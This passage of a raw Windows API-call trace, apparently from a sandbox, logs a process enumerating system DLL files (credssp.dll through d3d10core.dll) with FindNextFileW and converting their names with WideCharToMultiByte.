CodePage=0x0, dwFlags=0x0, lpWideCharStr="CPFILTERS.DLL", cchWideChar=13, lpMultiByteStr=0x38c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CPFILTERS.DLL", lpUsedDefaultChar=0x0) returned 13 [0028.482] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9da9522d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9da9522d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9da9522d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="credssp.dll", cAlternateFileName="")) returned 1 [0028.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CREDSSP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CREDSSP.DLL", cchWideChar=11, lpMultiByteStr=0x38c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CREDSSP.DLL", lpUsedDefaultChar=0x0) returned 11 [0028.482] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d09d5fb, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d09d5fb, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d0c375b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x29400, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="credui.dll", cAlternateFileName="")) returned 1 [0028.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CREDUI.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0028.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CREDUI.DLL", cchWideChar=10, lpMultiByteStr=0x38c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CREDUI.DLL", lpUsedDefaultChar=0x0) returned 10 [0028.482] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x435139, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x435139, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x866dd550, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2461b, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="crtdll.dll", cAlternateFileName="")) returned 1 [0028.483] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRTDLL.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0028.483] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRTDLL.DLL", cchWideChar=10, lpMultiByteStr=0x38c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRTDLL.DLL", lpUsedDefaultChar=0x0) returned 10 [0028.483] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89b04660, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x89b04660, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x89b76a81, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x119c00, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="crypt32.dll", cAlternateFileName="")) returned 1 [0028.483] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPT32.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.483] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPT32.DLL", cchWideChar=11, lpMultiByteStr=0x38c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPT32.DLL", lpUsedDefaultChar=0x0) returned 11 [0028.483] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54554db9, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x54554db9, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x86704650, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="cryptbase.dll", cAlternateFileName="")) returned 1 [0028.483] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTBASE.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0028.483] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTBASE.DLL", cchWideChar=13, lpMultiByteStr=0x38c288, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTBASE.DLL", lpUsedDefaultChar=0x0) returned 13 [0028.483] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8dce1c44, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8dce1c44, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x86729040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="cryptdlg.dll", cAlternateFileName="")) returned 1 [0028.483] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTDLG.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.483] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTDLG.DLL", cchWideChar=12, lpMultiByteStr=0x38c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTDLG.DLL", lpUsedDefaultChar=0x0) returned 12 [0028.483] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x360536d1, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x360536d1, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86729040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe600, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="cryptdll.dll", cAlternateFileName="")) returned 1 [0028.483] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTDLL.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.483] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTDLL.DLL", cchWideChar=12, lpMultiByteStr=0x38c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTDLL.DLL", lpUsedDefaultChar=0x0) returned 12 [0028.483] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c473190, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3c473190, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86729040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xd800, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="cryptext.dll", cAlternateFileName="")) returned 1 [0028.483] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTEXT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.483] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTEXT.DLL", cchWideChar=12, lpMultiByteStr=0x38c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTEXT.DLL", lpUsedDefaultChar=0x0) returned 12 [0028.483] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x382fd648, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x382fd648, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86729040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x19400, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="cryptnet.dll", cAlternateFileName="")) returned 1 [0028.483] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTNET.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.483] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTNET.DLL", cchWideChar=12, lpMultiByteStr=0x38c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTNET.DLL", lpUsedDefaultChar=0x0) returned 12 [0028.483] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde3e9ca5, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xde3e9ca5, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86750140, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x13400, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="cryptsp.dll", cAlternateFileName="")) returned 1 [0028.483] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTSP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.483] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTSP.DLL", cchWideChar=11, lpMultiByteStr=0x38c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTSP.DLL", lpUsedDefaultChar=0x0) returned 11 [0028.483] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d61e8e5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d61e8e5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d644a45, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x21400, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="cryptsvc.dll", cAlternateFileName="")) returned 1 [0028.484] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTSVC.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.484] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTSVC.DLL", cchWideChar=12, lpMultiByteStr=0x38c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTSVC.DLL", lpUsedDefaultChar=0x0) returned 12 [0028.484] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d513f43, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d513f43, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d513f43, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf5000, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="cryptui.dll", cAlternateFileName="")) returned 1 [0028.484] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTUI.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.484] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTUI.DLL", cchWideChar=11, lpMultiByteStr=0x38c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTUI.DLL", lpUsedDefaultChar=0x0) returned 11 [0028.484] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f6e225d, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3f6e225d, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86750140, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14e00, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="cryptxml.dll", cAlternateFileName="")) returned 1 [0028.484] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTXML.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.484] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTXML.DLL", cchWideChar=12, lpMultiByteStr=0x38c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTXML.DLL", lpUsedDefaultChar=0x0) returned 12 [0028.484] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b2f83ed, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8b2f83ed, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8b3446ad, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x8800, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="cscapi.dll", cAlternateFileName="")) returned 1 [0028.484] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CSCAPI.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0028.484] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CSCAPI.DLL", cchWideChar=10, lpMultiByteStr=0x38c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CSCAPI.DLL", lpUsedDefaultChar=0x0) returned 10 [0028.484] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b1eda4b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8b1eda4b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8b2f83ed, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5a00, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="cscdll.dll", cAlternateFileName="")) returned 1 [0028.484] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CSCDLL.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0028.484] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CSCDLL.DLL", cchWideChar=10, lpMultiByteStr=0x38c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CSCDLL.DLL", lpUsedDefaultChar=0x0) returned 10 [0028.484] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa28fc75d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa28fc75d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa29228be, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x22000, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="cscobj.dll", cAlternateFileName="")) returned 1 [0028.484] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CSCOBJ.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0028.484] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CSCOBJ.DLL", cchWideChar=10, lpMultiByteStr=0x38c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CSCOBJ.DLL", lpUsedDefaultChar=0x0) returned 10 [0028.484] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x304641, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x304641, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x867e7720, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6a00, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="ctl3d32.dll", cAlternateFileName="")) returned 1 [0028.484] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CTL3D32.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.484] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CTL3D32.DLL", cchWideChar=11, lpMultiByteStr=0x38c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CTL3D32.DLL", lpUsedDefaultChar=0x0) returned 11 [0028.484] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd55d8064, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xd55d8064, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x828158e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x36200, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="C_G18030.DLL", cAlternateFileName="")) returned 1 [0028.484] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C_G18030.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.484] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C_G18030.DLL", cchWideChar=12, lpMultiByteStr=0x38c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C_G18030.DLL", lpUsedDefaultChar=0x0) returned 12 [0028.484] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5e9f149, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xd5e9f149, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8283c9e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="C_IS2022.DLL", cAlternateFileName="")) returned 1 [0028.485] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C_IS2022.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.485] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C_IS2022.DLL", cchWideChar=12, lpMultiByteStr=0x38c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C_IS2022.DLL", lpUsedDefaultChar=0x0) returned 12 [0028.485] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87bc6567, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x87bc6567, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x87bec6c7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="C_ISCII.DLL", cAlternateFileName="")) returned 1 [0028.485] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C_ISCII.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.485] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C_ISCII.DLL", cchWideChar=11, lpMultiByteStr=0x38c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C_ISCII.DLL", lpUsedDefaultChar=0x0) returned 11 [0028.485] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96dfa5a5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x96dfa5a5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x96f51207, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb4a00, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="d2d1.dll", cAlternateFileName="")) returned 1 [0028.485] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D2D1.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.485] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D2D1.DLL", cchWideChar=8, lpMultiByteStr=0x38c288, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D2D1.DLL", lpUsedDefaultChar=0x0) returned 8 [0028.485] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9170ea75, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x9170ea75, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86a957b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfb800, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="d3d10.dll", cAlternateFileName="")) returned 1 [0028.485] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0028.485] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10.DLL", cchWideChar=9, lpMultiByteStr=0x38c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D10.DLL", lpUsedDefaultChar=0x0) returned 9 [0028.485] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9383bc36, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x9383bc36, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86a957b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2e800, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="d3d10core.dll", cAlternateFileName="")) returned 1 [0028.485] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10CORE.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0028.485] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10CORE.DLL", cchWideChar=13, 